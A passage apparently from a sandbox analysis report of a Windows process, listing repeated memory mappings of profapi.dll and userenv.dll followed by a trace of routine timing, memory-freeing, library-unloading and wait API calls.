0x7fefdb3efff monitored = 0 entry_point = 0x7fefdb319b0 region_type = mapped_file name = "profapi.dll" filename = "\\Windows\\System32\\profapi.dll" (normalized: "c:\\windows\\system32\\profapi.dll") Region: id = 2676 start_va = 0x7fefced0000 end_va = 0x7fefceedfff monitored = 0 entry_point = 0x7fefced13b8 region_type = mapped_file name = "userenv.dll" filename = "\\Windows\\System32\\userenv.dll" (normalized: "c:\\windows\\system32\\userenv.dll") Region: id = 2677 start_va = 0x7fefdb30000 end_va = 0x7fefdb3efff monitored = 0 entry_point = 0x7fefdb319b0 region_type = mapped_file name = "profapi.dll" filename = "\\Windows\\System32\\profapi.dll" (normalized: "c:\\windows\\system32\\profapi.dll") Region: id = 2740 start_va = 0x7fefced0000 end_va = 0x7fefceedfff monitored = 0 entry_point = 0x7fefced13b8 region_type = mapped_file name = "userenv.dll" filename = "\\Windows\\System32\\userenv.dll" (normalized: "c:\\windows\\system32\\userenv.dll") Region: id = 2741 start_va = 0x7fefdb30000 end_va = 0x7fefdb3efff monitored = 0 entry_point = 0x7fefdb319b0 region_type = mapped_file name = "profapi.dll" filename = "\\Windows\\System32\\profapi.dll" (normalized: "c:\\windows\\system32\\profapi.dll") Region: id = 2803 start_va = 0x7fefced0000 end_va = 0x7fefceedfff monitored = 0 entry_point = 0x7fefced13b8 region_type = mapped_file name = "userenv.dll" filename = "\\Windows\\System32\\userenv.dll" (normalized: "c:\\windows\\system32\\userenv.dll") Region: id = 2804 start_va = 0x7fefdb30000 end_va = 0x7fefdb3efff monitored = 0 entry_point = 0x7fefdb319b0 region_type = mapped_file name = "profapi.dll" filename = "\\Windows\\System32\\profapi.dll" (normalized: "c:\\windows\\system32\\profapi.dll") Region: id = 2915 start_va = 0x7fefced0000 end_va = 0x7fefceedfff monitored = 0 entry_point = 0x7fefced13b8 region_type = mapped_file name = "userenv.dll" filename = "\\Windows\\System32\\userenv.dll" (normalized: "c:\\windows\\system32\\userenv.dll") Region: id = 2916 start_va = 0x7fefdb30000 end_va = 0x7fefdb3efff monitored = 0 entry_point = 0x7fefdb319b0 region_type = mapped_file name = "profapi.dll" filename = "\\Windows\\System32\\profapi.dll" (normalized: "c:\\windows\\system32\\profapi.dll") Region: id = 3016 start_va = 0x7fefced0000 end_va = 0x7fefceedfff monitored = 0 entry_point = 0x7fefced13b8 region_type = mapped_file name = "userenv.dll" filename = "\\Windows\\System32\\userenv.dll" (normalized: "c:\\windows\\system32\\userenv.dll") Region: id = 3017 start_va = 0x7fefdb30000 end_va = 0x7fefdb3efff monitored = 0 entry_point = 0x7fefdb319b0 region_type = mapped_file name = "profapi.dll" filename = "\\Windows\\System32\\profapi.dll" (normalized: "c:\\windows\\system32\\profapi.dll") Region: id = 3079 start_va = 0x7fefced0000 end_va = 0x7fefceedfff monitored = 0 entry_point = 0x7fefced13b8 region_type = mapped_file name = "userenv.dll" filename = "\\Windows\\System32\\userenv.dll" (normalized: "c:\\windows\\system32\\userenv.dll") Region: id = 3080 start_va = 0x7fefdb30000 end_va = 0x7fefdb3efff monitored = 0 entry_point = 0x7fefdb319b0 region_type = mapped_file name = "profapi.dll" filename = "\\Windows\\System32\\profapi.dll" (normalized: "c:\\windows\\system32\\profapi.dll") Region: id = 3143 start_va = 0x7fefced0000 end_va = 0x7fefceedfff monitored = 0 entry_point = 0x7fefced13b8 region_type = mapped_file name = "userenv.dll" filename = "\\Windows\\System32\\userenv.dll" (normalized: "c:\\windows\\system32\\userenv.dll") Region: id = 3144 start_va = 0x7fefdb30000 end_va = 0x7fefdb3efff monitored = 0 entry_point = 0x7fefdb319b0 region_type = mapped_file name = "profapi.dll" filename = "\\Windows\\System32\\profapi.dll" (normalized: "c:\\windows\\system32\\profapi.dll") Region: id = 3206 start_va = 0x7fefced0000 end_va = 0x7fefceedfff monitored = 0 entry_point = 0x7fefced13b8 region_type = mapped_file name = "userenv.dll" filename = "\\Windows\\System32\\userenv.dll" (normalized: "c:\\windows\\system32\\userenv.dll") Region: id = 3207 start_va = 0x7fefdb30000 end_va = 0x7fefdb3efff monitored = 0 entry_point = 0x7fefdb319b0 region_type = mapped_file name = "profapi.dll" filename = "\\Windows\\System32\\profapi.dll" (normalized: "c:\\windows\\system32\\profapi.dll") Region: id = 3268 start_va = 0x7fefced0000 end_va = 0x7fefceedfff monitored = 0 entry_point = 0x7fefced13b8 region_type = mapped_file name = "userenv.dll" filename = "\\Windows\\System32\\userenv.dll" (normalized: "c:\\windows\\system32\\userenv.dll") Region: id = 3269 start_va = 0x7fefdb30000 end_va = 0x7fefdb3efff monitored = 0 entry_point = 0x7fefdb319b0 region_type = mapped_file name = "profapi.dll" filename = "\\Windows\\System32\\profapi.dll" (normalized: "c:\\windows\\system32\\profapi.dll") Region: id = 3334 start_va = 0x7fefced0000 end_va = 0x7fefceedfff monitored = 0 entry_point = 0x7fefced13b8 region_type = mapped_file name = "userenv.dll" filename = "\\Windows\\System32\\userenv.dll" (normalized: "c:\\windows\\system32\\userenv.dll") Region: id = 3335 start_va = 0x7fefdb30000 end_va = 0x7fefdb3efff monitored = 0 entry_point = 0x7fefdb319b0 region_type = mapped_file name = "profapi.dll" filename = "\\Windows\\System32\\profapi.dll" (normalized: "c:\\windows\\system32\\profapi.dll") Region: id = 3398 start_va = 0x7fefced0000 end_va = 0x7fefceedfff monitored = 0 entry_point = 0x7fefced13b8 region_type = mapped_file name = "userenv.dll" filename = "\\Windows\\System32\\userenv.dll" (normalized: "c:\\windows\\system32\\userenv.dll") Region: id = 3399 start_va = 0x7fefdb30000 end_va = 0x7fefdb3efff monitored = 0 entry_point = 0x7fefdb319b0 region_type = mapped_file name = "profapi.dll" filename = "\\Windows\\System32\\profapi.dll" (normalized: "c:\\windows\\system32\\profapi.dll") Region: id = 3461 start_va = 0x7fefced0000 end_va = 0x7fefceedfff monitored = 0 entry_point = 0x7fefced13b8 region_type = mapped_file name = "userenv.dll" filename = "\\Windows\\System32\\userenv.dll" (normalized: "c:\\windows\\system32\\userenv.dll") Region: id = 3462 start_va = 0x7fefdb30000 end_va = 0x7fefdb3efff monitored = 0 entry_point = 0x7fefdb319b0 region_type = mapped_file name = "profapi.dll" filename = "\\Windows\\System32\\profapi.dll" (normalized: "c:\\windows\\system32\\profapi.dll") Region: id = 3549 start_va = 0x7fefced0000 end_va = 0x7fefceedfff monitored = 0 entry_point = 0x7fefced13b8 region_type = mapped_file name = "userenv.dll" filename = "\\Windows\\System32\\userenv.dll" (normalized: "c:\\windows\\system32\\userenv.dll") Region: id = 3550 start_va = 0x7fefdb30000 end_va = 0x7fefdb3efff monitored = 0 entry_point = 0x7fefdb319b0 region_type = mapped_file name = "profapi.dll" filename = "\\Windows\\System32\\profapi.dll" (normalized: "c:\\windows\\system32\\profapi.dll") Region: id = 3633 start_va = 0x7fefced0000 end_va = 0x7fefceedfff monitored = 0 entry_point = 0x7fefced13b8 region_type = mapped_file name = "userenv.dll" filename = "\\Windows\\System32\\userenv.dll" (normalized: "c:\\windows\\system32\\userenv.dll") Region: id = 3634 start_va = 0x7fefdb30000 end_va = 0x7fefdb3efff monitored = 0 entry_point = 0x7fefdb319b0 region_type = mapped_file name = "profapi.dll" filename = "\\Windows\\System32\\profapi.dll" (normalized: "c:\\windows\\system32\\profapi.dll") Region: id = 3698 start_va = 0x7fefced0000 end_va = 0x7fefceedfff monitored = 0 entry_point = 0x7fefced13b8 region_type = mapped_file name = "userenv.dll" filename = "\\Windows\\System32\\userenv.dll" (normalized: "c:\\windows\\system32\\userenv.dll") Region: id = 3699 start_va = 0x7fefdb30000 end_va = 0x7fefdb3efff monitored = 0 entry_point = 0x7fefdb319b0 region_type = mapped_file name = "profapi.dll" filename = "\\Windows\\System32\\profapi.dll" (normalized: "c:\\windows\\system32\\profapi.dll") Region: id = 3761 start_va = 0x7fefced0000 end_va = 0x7fefceedfff monitored = 0 entry_point = 0x7fefced13b8 region_type = mapped_file name = "userenv.dll" filename = "\\Windows\\System32\\userenv.dll" (normalized: "c:\\windows\\system32\\userenv.dll") Region: id = 3762 start_va = 0x7fefdb30000 end_va = 0x7fefdb3efff monitored = 0 entry_point = 0x7fefdb319b0 region_type = mapped_file name = "profapi.dll" filename = "\\Windows\\System32\\profapi.dll" (normalized: "c:\\windows\\system32\\profapi.dll") Region: id = 3849 start_va = 0x7fefced0000 end_va = 0x7fefceedfff monitored = 0 entry_point = 0x7fefced13b8 region_type = mapped_file name = "userenv.dll" filename = "\\Windows\\System32\\userenv.dll" (normalized: "c:\\windows\\system32\\userenv.dll") Region: id = 3850 start_va = 0x7fefdb30000 end_va = 0x7fefdb3efff monitored = 0 entry_point = 0x7fefdb319b0 region_type = mapped_file name = "profapi.dll" filename = "\\Windows\\System32\\profapi.dll" (normalized: "c:\\windows\\system32\\profapi.dll") Region: id = 3912 start_va = 0x7fefced0000 end_va = 0x7fefceedfff monitored = 0 entry_point = 0x7fefced13b8 region_type = mapped_file name = "userenv.dll" filename = "\\Windows\\System32\\userenv.dll" (normalized: "c:\\windows\\system32\\userenv.dll") Region: id = 3913 start_va = 0x7fefdb30000 end_va = 0x7fefdb3efff monitored = 0 entry_point = 0x7fefdb319b0 region_type = mapped_file name = "profapi.dll" filename = "\\Windows\\System32\\profapi.dll" (normalized: "c:\\windows\\system32\\profapi.dll") Region: id = 3974 start_va = 0x7fefced0000 end_va = 0x7fefceedfff monitored = 0 entry_point = 0x7fefced13b8 region_type = mapped_file name = "userenv.dll" filename = "\\Windows\\System32\\userenv.dll" (normalized: "c:\\windows\\system32\\userenv.dll") Region: id = 3975 start_va = 0x7fefdb30000 end_va = 0x7fefdb3efff monitored = 0 entry_point = 0x7fefdb319b0 region_type = mapped_file name = "profapi.dll" filename = "\\Windows\\System32\\profapi.dll" (normalized: "c:\\windows\\system32\\profapi.dll") Region: id = 4053 start_va = 0x7fefced0000 end_va = 0x7fefceedfff monitored = 0 entry_point = 0x7fefced13b8 region_type = mapped_file name = "userenv.dll" filename = "\\Windows\\System32\\userenv.dll" (normalized: "c:\\windows\\system32\\userenv.dll") Region: id = 4054 start_va = 0x7fefdb30000 end_va = 0x7fefdb3efff monitored = 0 entry_point = 0x7fefdb319b0 region_type = mapped_file name = "profapi.dll" filename = "\\Windows\\System32\\profapi.dll" (normalized: "c:\\windows\\system32\\profapi.dll") Region: id = 4153 start_va = 0x7fefced0000 end_va = 0x7fefceedfff monitored = 0 entry_point = 0x7fefced13b8 region_type = mapped_file name = "userenv.dll" filename = "\\Windows\\System32\\userenv.dll" (normalized: "c:\\windows\\system32\\userenv.dll") Region: id = 4154 start_va = 0x7fefdb30000 end_va = 0x7fefdb3efff monitored = 0 entry_point = 0x7fefdb319b0 region_type = mapped_file name = "profapi.dll" filename = "\\Windows\\System32\\profapi.dll" (normalized: "c:\\windows\\system32\\profapi.dll") Region: id = 4244 start_va = 0x7fefced0000 end_va = 0x7fefceedfff monitored = 0 entry_point = 0x7fefced13b8 region_type = mapped_file name = "userenv.dll" filename = "\\Windows\\System32\\userenv.dll" (normalized: "c:\\windows\\system32\\userenv.dll") Region: id = 4246 start_va = 0x7fefdb30000 end_va = 0x7fefdb3efff monitored = 0 entry_point = 0x7fefdb319b0 region_type = mapped_file name = "profapi.dll" filename = "\\Windows\\System32\\profapi.dll" (normalized: "c:\\windows\\system32\\profapi.dll") Region: id = 4308 start_va = 0x7fefced0000 end_va = 0x7fefceedfff monitored = 0 entry_point = 0x7fefced13b8 region_type = mapped_file name = "userenv.dll" filename = "\\Windows\\System32\\userenv.dll" (normalized: "c:\\windows\\system32\\userenv.dll") Region: id = 4310 start_va = 0x7fefdb30000 end_va = 0x7fefdb3efff monitored = 0 entry_point = 0x7fefdb319b0 region_type = mapped_file name = "profapi.dll" filename = "\\Windows\\System32\\profapi.dll" (normalized: "c:\\windows\\system32\\profapi.dll") Region: id = 4383 start_va = 0x7fefced0000 end_va = 0x7fefceedfff monitored = 0 entry_point = 0x7fefced13b8 region_type = mapped_file name = "userenv.dll" filename = "\\Windows\\System32\\userenv.dll" (normalized: "c:\\windows\\system32\\userenv.dll") Region: id = 4384 start_va = 0x7fefdb30000 end_va = 0x7fefdb3efff monitored = 0 entry_point = 0x7fefdb319b0 region_type = mapped_file name = "profapi.dll" filename = "\\Windows\\System32\\profapi.dll" (normalized: "c:\\windows\\system32\\profapi.dll") Region: id = 4445 start_va = 0x7fefced0000 end_va = 0x7fefceedfff monitored = 0 entry_point = 0x7fefced13b8 region_type = mapped_file name = "userenv.dll" filename = "\\Windows\\System32\\userenv.dll" (normalized: "c:\\windows\\system32\\userenv.dll") Region: id = 4447 start_va = 0x7fefdb30000 end_va = 0x7fefdb3efff monitored = 0 entry_point = 0x7fefdb319b0 region_type = mapped_file name = "profapi.dll" filename = "\\Windows\\System32\\profapi.dll" (normalized: "c:\\windows\\system32\\profapi.dll") Region: id = 4539 start_va = 0x7fefced0000 end_va = 0x7fefceedfff monitored = 0 entry_point = 0x7fefced13b8 region_type = mapped_file name = "userenv.dll" filename = "\\Windows\\System32\\userenv.dll" (normalized: "c:\\windows\\system32\\userenv.dll") Region: id = 4540 start_va = 0x7fefdb30000 end_va = 0x7fefdb3efff monitored = 0 entry_point = 0x7fefdb319b0 region_type = mapped_file name = "profapi.dll" filename = "\\Windows\\System32\\profapi.dll" (normalized: "c:\\windows\\system32\\profapi.dll") Region: id = 4606 start_va = 0x7fefced0000 end_va = 0x7fefceedfff monitored = 0 entry_point = 0x7fefced13b8 region_type = mapped_file name = "userenv.dll" filename = "\\Windows\\System32\\userenv.dll" (normalized: "c:\\windows\\system32\\userenv.dll") Region: id = 4608 start_va = 0x7fefdb30000 end_va = 0x7fefdb3efff monitored = 0 entry_point = 0x7fefdb319b0 region_type = mapped_file name = "profapi.dll" filename = "\\Windows\\System32\\profapi.dll" (normalized: "c:\\windows\\system32\\profapi.dll") Region: id = 4687 start_va = 0x7fefced0000 end_va = 0x7fefceedfff monitored = 0 entry_point = 0x7fefced13b8 region_type = mapped_file name = "userenv.dll" filename = "\\Windows\\System32\\userenv.dll" (normalized: "c:\\windows\\system32\\userenv.dll") Region: id = 4688 start_va = 0x7fefdb30000 end_va = 0x7fefdb3efff monitored = 0 entry_point = 0x7fefdb319b0 region_type = mapped_file name = "profapi.dll" filename = "\\Windows\\System32\\profapi.dll" (normalized: "c:\\windows\\system32\\profapi.dll") Region: id = 4781 start_va = 0x7fefced0000 end_va = 0x7fefceedfff monitored = 0 entry_point = 0x7fefced13b8 region_type = mapped_file name = "userenv.dll" filename = "\\Windows\\System32\\userenv.dll" (normalized: "c:\\windows\\system32\\userenv.dll") Region: id = 4782 start_va = 0x7fefdb30000 end_va = 0x7fefdb3efff monitored = 0 entry_point = 0x7fefdb319b0 region_type = mapped_file name = "profapi.dll" filename = "\\Windows\\System32\\profapi.dll" (normalized: "c:\\windows\\system32\\profapi.dll") Region: id = 4847 start_va = 0x7fefced0000 end_va = 0x7fefceedfff monitored = 0 entry_point = 0x7fefced13b8 region_type = mapped_file name = "userenv.dll" filename = "\\Windows\\System32\\userenv.dll" (normalized: "c:\\windows\\system32\\userenv.dll") Region: id = 4848 start_va = 0x7fefdb30000 end_va = 0x7fefdb3efff monitored = 0 entry_point = 0x7fefdb319b0 region_type = mapped_file name = "profapi.dll" filename = "\\Windows\\System32\\profapi.dll" (normalized: "c:\\windows\\system32\\profapi.dll") Region: id = 4911 start_va = 0x7fefced0000 end_va = 0x7fefceedfff monitored = 0 entry_point = 0x7fefced13b8 region_type = mapped_file name = "userenv.dll" filename = "\\Windows\\System32\\userenv.dll" (normalized: "c:\\windows\\system32\\userenv.dll") Region: id = 4912 start_va = 0x7fefdb30000 end_va = 0x7fefdb3efff monitored = 0 entry_point = 0x7fefdb319b0 region_type = mapped_file name = "profapi.dll" filename = "\\Windows\\System32\\profapi.dll" (normalized: "c:\\windows\\system32\\profapi.dll") Thread: id = 78 os_tid = 0xa7c Thread: id = 79 os_tid = 0xa74 [0056.994] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0xfef768 | out: lpSystemTimeAsFileTime=0xfef768*(dwLowDateTime=0x4b1ca660, dwHighDateTime=0x1d9eb0c)) [0056.994] free (_Block=0xeef60) [0056.995] FreeLibrary (hLibModule=0x731c0000) returned 1 [0056.996] free (_Block=0xf1680) [0056.996] free (_Block=0xed220) [0056.996] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0xfef768 | out: lpSystemTimeAsFileTime=0xfef768*(dwLowDateTime=0x4b1f07c0, dwHighDateTime=0x1d9eb0c)) [0056.996] free (_Block=0xeeee0) [0056.996] FreeLibrary (hLibModule=0x731b0000) returned 1 [0056.997] free (_Block=0xed310) [0056.997] free (_Block=0xed360) [0056.997] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0xfef768 | out: lpSystemTimeAsFileTime=0xfef768*(dwLowDateTime=0x4b1f07c0, dwHighDateTime=0x1d9eb0c)) [0056.997] free (_Block=0xef020) [0056.998] FreeLibrary (hLibModule=0x77be0000) returned 1 [0056.998] free (_Block=0xf47d0) [0056.998] free (_Block=0xed3b0) [0056.998] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0xfef768 | out: lpSystemTimeAsFileTime=0xfef768*(dwLowDateTime=0x4b1f07c0, dwHighDateTime=0x1d9eb0c)) [0056.998] free (_Block=0xeef20) [0056.998] FreeLibrary (hLibModule=0x779c0000) returned 1 [0056.998] free (_Block=0xf1300) [0056.998] free (_Block=0xed180) [0056.998] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0xfef768 | out: lpSystemTimeAsFileTime=0xfef768*(dwLowDateTime=0x4b1f07c0, dwHighDateTime=0x1d9eb0c)) [0056.998] free (_Block=0xeef00) [0056.998] FreeLibrary (hLibModule=0x7fefbd80000) returned 1 [0057.004] free (_Block=0xf3520) [0057.004] free (_Block=0xed2c0) [0057.004] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0xfef768 | out: lpSystemTimeAsFileTime=0xfef768*(dwLowDateTime=0x4b1f07c0, dwHighDateTime=0x1d9eb0c)) [0057.004] free (_Block=0xeefa0) [0057.004] FreeLibrary (hLibModule=0x7fefddb0000) returned 1 [0057.004] free (_Block=0xf37a0) [0057.004] free (_Block=0xed400) [0057.004] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0xfef768 | out: lpSystemTimeAsFileTime=0xfef768*(dwLowDateTime=0x4b1f07c0, dwHighDateTime=0x1d9eb0c)) [0057.004] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0xfef768 | out: lpSystemTimeAsFileTime=0xfef768*(dwLowDateTime=0x4b1f07c0, dwHighDateTime=0x1d9eb0c)) [0057.005] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0xfef768 | out: lpSystemTimeAsFileTime=0xfef768*(dwLowDateTime=0x4b1f07c0, dwHighDateTime=0x1d9eb0c)) [0057.005] WaitForSingleObjectEx (hHandle=0x1f0, dwMilliseconds=0x493d0, bAlertable=0) returned 0x0 [0057.052] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0xfef768 | out: lpSystemTimeAsFileTime=0xfef768*(dwLowDateTime=0x4b262be0, dwHighDateTime=0x1d9eb0c)) [0057.052] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0xfef768 | out: lpSystemTimeAsFileTime=0xfef768*(dwLowDateTime=0x4b262be0, dwHighDateTime=0x1d9eb0c)) [0057.052] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0xfef768 | out: lpSystemTimeAsFileTime=0xfef768*(dwLowDateTime=0x4b262be0, dwHighDateTime=0x1d9eb0c)) [0057.052] WaitForSingleObjectEx (hHandle=0x1f0, dwMilliseconds=0x26e2, bAlertable=0) returned 0x0 [0057.472] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0xfef768 | out: lpSystemTimeAsFileTime=0xfef768*(dwLowDateTime=0x4b667100, dwHighDateTime=0x1d9eb0c)) [0057.472] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0xfef768 | out: lpSystemTimeAsFileTime=0xfef768*(dwLowDateTime=0x4b667100, dwHighDateTime=0x1d9eb0c)) [0057.472] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0xfef768 | out: lpSystemTimeAsFileTime=0xfef768*(dwLowDateTime=0x4b667100, dwHighDateTime=0x1d9eb0c)) [0057.472] WaitForSingleObjectEx (hHandle=0x1f0, dwMilliseconds=0x257a, bAlertable=0) returned 0x0 [0057.473] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0xfef768 | out: lpSystemTimeAsFileTime=0xfef768*(dwLowDateTime=0x4b667100, dwHighDateTime=0x1d9eb0c)) [0057.473] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0xfef768 | out: lpSystemTimeAsFileTime=0xfef768*(dwLowDateTime=0x4b667100, dwHighDateTime=0x1d9eb0c)) [0057.473] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0xfef768 | out: lpSystemTimeAsFileTime=0xfef768*(dwLowDateTime=0x4b667100, dwHighDateTime=0x1d9eb0c)) [0057.473] WaitForSingleObjectEx (hHandle=0x1f0, dwMilliseconds=0x257a, bAlertable=0) returned 0x0 [0057.489] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0xfef768 | out: lpSystemTimeAsFileTime=0xfef768*(dwLowDateTime=0x4b68d260, dwHighDateTime=0x1d9eb0c)) [0057.489] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0xfef768 | out: lpSystemTimeAsFileTime=0xfef768*(dwLowDateTime=0x4b68d260, dwHighDateTime=0x1d9eb0c)) [0057.489] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0xfef768 | out: lpSystemTimeAsFileTime=0xfef768*(dwLowDateTime=0x4b68d260, dwHighDateTime=0x1d9eb0c)) [0057.489] WaitForSingleObjectEx (hHandle=0x1f0, dwMilliseconds=0x198, bAlertable=0) returned 0x0 [0057.518] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0xfef768 | out: lpSystemTimeAsFileTime=0xfef768*(dwLowDateTime=0x4b6d9520, dwHighDateTime=0x1d9eb0c)) [0057.518] free (_Block=0xef040) [0057.518] FreeLibrary (hLibModule=0x7feffcb0000) returned 1 [0057.518] free (_Block=0xd0a00) [0057.519] free (_Block=0xed270) [0057.519] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0xfef768 | out: lpSystemTimeAsFileTime=0xfef768*(dwLowDateTime=0x4b6d9520, dwHighDateTime=0x1d9eb0c)) [0057.519] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0xfef768 | out: lpSystemTimeAsFileTime=0xfef768*(dwLowDateTime=0x4b6d9520, dwHighDateTime=0x1d9eb0c)) [0057.519] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0xfef768 | out: lpSystemTimeAsFileTime=0xfef768*(dwLowDateTime=0x4b6d9520, dwHighDateTime=0x1d9eb0c)) [0057.519] WaitForSingleObjectEx (hHandle=0x1f0, dwMilliseconds=0x10, bAlertable=0) returned 0x0 [0058.056] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0xfef768 | out: lpSystemTimeAsFileTime=0xfef768*(dwLowDateTime=0x4bc0e540, dwHighDateTime=0x1d9eb0c)) [0058.056] free (_Block=0xeeee0) [0058.056] FreeLibrary (hLibModule=0x7fefced0000) returned 1 [0058.060] free (_Block=0xed400) [0058.061] free (_Block=0xed2c0) [0058.061] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0xfef768 | out: lpSystemTimeAsFileTime=0xfef768*(dwLowDateTime=0x4bc0e540, dwHighDateTime=0x1d9eb0c)) [0058.061] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0xfef768 | out: lpSystemTimeAsFileTime=0xfef768*(dwLowDateTime=0x4bc0e540, dwHighDateTime=0x1d9eb0c)) [0058.061] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0xfef768 | out: lpSystemTimeAsFileTime=0xfef768*(dwLowDateTime=0x4bc0e540, dwHighDateTime=0x1d9eb0c)) [0058.061] WaitForSingleObjectEx (hHandle=0x1f0, dwMilliseconds=0x1, bAlertable=0) returned 0x0 [0058.146] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0xfef768 | out: lpSystemTimeAsFileTime=0xfef768*(dwLowDateTime=0x4bcccc20, dwHighDateTime=0x1d9eb0c)) [0058.146] free (_Block=0xef040) [0058.146] FreeLibrary (hLibModule=0x7feffcb0000) returned 1 [0058.146] free (_Block=0xf3750) [0058.147] free (_Block=0xed270) [0058.147] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0xfef768 | out: lpSystemTimeAsFileTime=0xfef768*(dwLowDateTime=0x4bcccc20, dwHighDateTime=0x1d9eb0c)) [0058.147] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0xfef768 | out: lpSystemTimeAsFileTime=0xfef768*(dwLowDateTime=0x4bcccc20, dwHighDateTime=0x1d9eb0c)) [0058.147] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0xfef768 | out: lpSystemTimeAsFileTime=0xfef768*(dwLowDateTime=0x4bcccc20, dwHighDateTime=0x1d9eb0c)) [0058.147] WaitForSingleObjectEx (hHandle=0x1f0, dwMilliseconds=0x1, bAlertable=0) returned 0x0 [0059.280] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0xfef768 | out: lpSystemTimeAsFileTime=0xfef768*(dwLowDateTime=0x4c782f20, dwHighDateTime=0x1d9eb0c)) [0059.280] free (_Block=0xeef60) [0059.280] FreeLibrary (hLibModule=0x7fefced0000) returned 1 [0059.292] free (_Block=0xed2c0) [0059.293] free (_Block=0xed400) [0059.293] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0xfef768 | out: lpSystemTimeAsFileTime=0xfef768*(dwLowDateTime=0x4c7a9080, dwHighDateTime=0x1d9eb0c)) [0059.294] free (_Block=0xef040) [0059.294] FreeLibrary (hLibModule=0x7feffcb0000) returned 1 [0059.294] free (_Block=0xf3750) [0059.295] free (_Block=0xed270) [0059.295] WaitForSingleObjectEx (hHandle=0x1f0, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0059.343] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0xfef768 | out: lpSystemTimeAsFileTime=0xfef768*(dwLowDateTime=0x4c81b4a0, dwHighDateTime=0x1d9eb0c)) [0059.343] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0xfef768 | out: lpSystemTimeAsFileTime=0xfef768*(dwLowDateTime=0x4c81b4a0, dwHighDateTime=0x1d9eb0c)) [0059.343] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0xfef768 | out: lpSystemTimeAsFileTime=0xfef768*(dwLowDateTime=0x4c81b4a0, dwHighDateTime=0x1d9eb0c)) [0059.344] WaitForSingleObjectEx (hHandle=0x1f0, dwMilliseconds=0x1, bAlertable=0) returned 0x0 [0059.744] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0xfef768 | out: lpSystemTimeAsFileTime=0xfef768*(dwLowDateTime=0x4cbf9860, dwHighDateTime=0x1d9eb0c)) [0059.744] free (_Block=0xef020) [0059.744] FreeLibrary (hLibModule=0x7fefced0000) returned 1 [0059.746] free (_Block=0xed270) [0059.747] free (_Block=0xed400) [0059.747] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0xfef768 | out: lpSystemTimeAsFileTime=0xfef768*(dwLowDateTime=0x4cbf9860, dwHighDateTime=0x1d9eb0c)) [0059.747] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0xfef768 | out: lpSystemTimeAsFileTime=0xfef768*(dwLowDateTime=0x4cbf9860, dwHighDateTime=0x1d9eb0c)) [0059.747] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0xfef768 | out: lpSystemTimeAsFileTime=0xfef768*(dwLowDateTime=0x4cbf9860, dwHighDateTime=0x1d9eb0c)) [0059.747] WaitForSingleObjectEx (hHandle=0x1f0, dwMilliseconds=0x1, bAlertable=0) returned 0x0 [0059.807] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0xfef768 | out: lpSystemTimeAsFileTime=0xfef768*(dwLowDateTime=0x4cc91de0, dwHighDateTime=0x1d9eb0c)) [0059.807] free (_Block=0xef040) [0059.807] FreeLibrary (hLibModule=0x7feffcb0000) returned 1 [0059.808] free (_Block=0xf3750) [0059.808] free (_Block=0xed2c0) [0059.808] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0xfef768 | out: lpSystemTimeAsFileTime=0xfef768*(dwLowDateTime=0x4cc91de0, dwHighDateTime=0x1d9eb0c)) [0059.808] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0xfef768 | out: lpSystemTimeAsFileTime=0xfef768*(dwLowDateTime=0x4cc91de0, dwHighDateTime=0x1d9eb0c)) [0059.808] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0xfef768 | out: lpSystemTimeAsFileTime=0xfef768*(dwLowDateTime=0x4cc91de0, dwHighDateTime=0x1d9eb0c)) [0059.808] WaitForSingleObjectEx (hHandle=0x1f0, dwMilliseconds=0x1, bAlertable=0) returned 0x0 [0060.299] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0xfef768 | out: lpSystemTimeAsFileTime=0xfef768*(dwLowDateTime=0x4d12e880, dwHighDateTime=0x1d9eb0c)) [0060.299] free (_Block=0xef0a0) [0060.299] FreeLibrary (hLibModule=0x7fefced0000) returned 1 [0060.302] free (_Block=0xed400) [0060.303] free (_Block=0xed270) [0060.303] 